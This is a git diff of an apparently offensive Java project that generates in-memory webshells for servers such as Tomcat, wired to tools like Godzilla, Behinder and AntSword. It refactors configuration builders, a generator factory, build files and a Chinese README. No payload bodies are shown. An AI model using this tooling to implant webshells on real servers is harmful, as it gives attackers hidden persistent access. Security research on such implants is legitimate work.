.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .paramName(shellToolConfig.getCommandParamName())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case AntSword -> AntSwordConfig.builder() case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case NeoreGeorg -> NeoreGeorgConfig.builder() case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Custom -> CustomConfig.builder() case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassBase64(shellToolConfig.getShellClassBase64())
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.0.0" version = "2.1.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
+3 -6
View File
@@ -25,12 +25,12 @@ bun run build
3. 构建后端项目,确保使用 JDK17 环境 3. 构建后端项目,确保使用 JDK17 环境
```bash ```bash
cd MemShellParty/boot cd MemShellParty
./gradlew :boot:bootjar -x test ./gradlew :boot:bootjar -x test
``` ```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar` 构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
```bash ```bash
cd MemShellParty/boot cd MemShellParty/boot
@@ -39,7 +39,7 @@ java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar build/libs/boot-2.0.0.jar
``` ```
也可这基础上再继续构建容器来使用 也可这基础上再继续构建容器来使用
@@ -58,14 +58,12 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
下载项目根目录的 [Dockerfile](./Dockerfile) 下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置 - ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀 - CONTEXT_PATH: 后端访问前缀
```bash ```bash
# 基础构建 # 基础构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load -t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080 # 基础镜像启动,访问 127.0.0.1:8080
@@ -73,7 +71,6 @@ docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建 # 自定义访问路径构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \ --build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \ --build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load -t memshell-party:latest . --load
+1 -1
View File
@@ -18,7 +18,7 @@ inject(context, shell);
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为 1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
jakarta,无须重复实现。 jakarta,无须重复实现。
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest 2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
方法上,因此推荐按参考实现一样使用空实现。 方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。 3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent 4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64` 内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`
@@ -18,12 +18,12 @@
<dependency> <dependency>
<groupId>io.github.reajason</groupId> <groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId> <artifactId>generator</artifactId>
<version>2.0.0-SNAPSHOT</version> <version>2.0.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>io.github.reajason</groupId> <groupId>io.github.reajason</groupId>
<artifactId>packer</artifactId> <artifactId>packer</artifactId>
<version>2.0.0-SNAPSHOT</version> <version>2.0.0</version>
</dependency> </dependency>
</dependencies> </dependencies>
@@ -1,6 +1,5 @@
package com.reajason.javaweb; package com.reajason.javaweb;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
@@ -10,6 +9,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.Server.Tomcat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/4/6 * @since 2025/4/6
@@ -17,7 +18,7 @@ import com.reajason.javaweb.packer.Packers;
public class Godzilla { public class Godzilla {
public static void main(String[] args) { public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat) .server(Tomcat)
.shellTool(ShellTool.Godzilla) .shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER) .shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码 .shrink(true) // 缩小字节码
@@ -9,11 +9,12 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker; import com.reajason.javaweb.packer.jar.JarPacker;
import com.sun.security.ntlm.Server;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import static com.reajason.javaweb.Server.Tomcat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/4/6 * @since 2025/4/6
@@ -22,7 +23,7 @@ public class GodzillaAgent {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat) .server(Tomcat)
.shellTool(ShellTool.Godzilla) .shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN) .shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码 .shrink(true) // 缩小字节码
+1 -2
View File
@@ -39,10 +39,9 @@ dependencies {
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
implementation(libs.bcel) implementation(libs.bcel)
implementation(libs.okhttp3)
implementation(libs.logback.classic)
implementation(libs.jackson.databind) implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.bundles.mockito) testImplementation(libs.bundles.mockito)
} }
@@ -47,7 +47,7 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
} }
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
@@ -219,7 +219,7 @@ public class ServerFactory {
}); });
} }
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) { public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap(); Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
@@ -235,7 +235,10 @@ public class ServerFactory {
} }
toolMappingBuilder.addShellClass(shellType, shellClass); toolMappingBuilder.addShellClass(shellType, shellClass);
} }
server.addToolMapping(shellTool, toolMappingBuilder.build()); ToolMapping mapping = toolMappingBuilder.build();
if (mapping.isNotEmpty()) {
server.addToolMapping(shellTool, mapping);
}
} }
} }
@@ -1,41 +1,15 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import java.lang.reflect.Constructor;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/22 * @since 2025/8/22
*/ */
public enum ShellTool { public class ShellTool {
Godzilla(GodzillaGenerator.class, GodzillaConfig.class), public static final String Godzilla = "Godzilla";
Command(CommandGenerator.class, CommandConfig.class), public static final String Behinder = "Behinder";
Behinder(BehinderGenerator.class, BehinderConfig.class), public static final String Command = "Command";
Suo5(Suo5Generator.class, Suo5Config.class), public static final String Suo5 = "Suo5";
AntSword(AntSwordGenerator.class, AntSwordConfig.class), public static final String AntSword = "AntSword";
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class), public static final String NeoreGeorg = "NeoreGeorg";
Custom(CustomShellGenerator.class, CustomConfig.class); public static final String Custom = "Custom";
private final Class<? extends ShellGenerator> generatorClass;
private final Class<? extends ShellToolConfig> configClass;
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
this.generatorClass = generatorClass;
this.configClass = configClass;
}
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Constructor<? extends ShellGenerator> constructor =
generatorClass.getConstructor(ShellConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
}
}
} }
@@ -0,0 +1,50 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import org.apache.commons.lang3.tuple.Pair;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author ReaJason
* @since 2025/08/22
*/
public class ShellToolFactory {
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
static {
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
}
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
if (shellToolName == null || shellToolName.trim().isEmpty()) {
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
}
instances.put(shellToolName, Pair.of(generatorClass, configClass));
}
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
Constructor<? extends ShellGenerator> constructor =
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new GenerationException("shell generate failed " + e.getMessage(), e);
}
}
}
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -20,4 +21,31 @@ public class AntSwordConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -20,4 +21,31 @@ public class BehinderConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -5,6 +5,7 @@ import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.ToString; import lombok.ToString;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -23,6 +24,17 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) {
if (StringUtils.isNotBlank(paramName)) {
paramName$value = paramName;
paramName$set = true;
}
return self();
}
}
public enum ImplementationClass { public enum ImplementationClass {
RuntimeExec, ForkAndExec; RuntimeExec, ForkAndExec;
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -22,4 +23,39 @@ public class GodzillaConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B key(final String key) {
if (StringUtils.isNotBlank(key)) {
this.key$value = key;
key$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
private String headerName = "Referer"; private String headerName = "Referer";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
@@ -31,7 +30,7 @@ public class ShellConfig {
/** /**
* 内存马功能 * 内存马功能
*/ */
private ShellTool shellTool; private String shellTool;
/** /**
* 内存马类型 * 内存马类型
@@ -10,7 +10,7 @@ import lombok.experimental.SuperBuilder;
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Data @Data
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public class ShellToolConfig { public class ShellToolConfig {
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.AntSwordConfig; import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder.field(named("pass")).value(shellToolConfig.getPass()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -16,9 +17,12 @@ public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
super(shellConfig, shellToolConfig); super(shellConfig, shellToolConfig);
} }
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { @Override
public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16); String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
return builder.field(named("pass")).value(md5Key) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(md5Key)
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -10,7 +10,6 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
/** /**
@@ -26,16 +25,13 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
this.shellToolConfig = shellToolConfig; this.shellToolConfig = shellToolConfig;
} }
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder); protected abstract DynamicType.Builder<?> getBuilder();
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass(); Class<?> shellClass = shellToolConfig.getShellClass();
String shellClassName = shellToolConfig.getShellClassName(); String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = build(new ByteBuddy() DynamicType.Builder<?> builder = getBuilder();
.redefine(shellClass)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
String shellType = shellConfig.getShellType(); String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
@@ -56,6 +52,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
builder = builder
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink()); return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
} }
@@ -1,11 +1,13 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import org.apache.commons.lang3.StringUtils; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.pool.TypePool;
import java.util.Base64; import java.util.Base64;
@@ -13,21 +15,24 @@ import java.util.Base64;
* @author ReaJason * @author ReaJason
* @since 2025/3/18 * @since 2025/3/18
*/ */
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> { public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) { public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig); super(shellConfig, customConfig);
} }
@Override @Override
public byte[] getBytes() { protected DynamicType.Builder<?> getBuilder() {
String shellClassBase64 = shellToolConfig.getShellClassBase64(); String shellClassBase64 = shellToolConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new GenerationException("Custom shell class is empty");
}
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
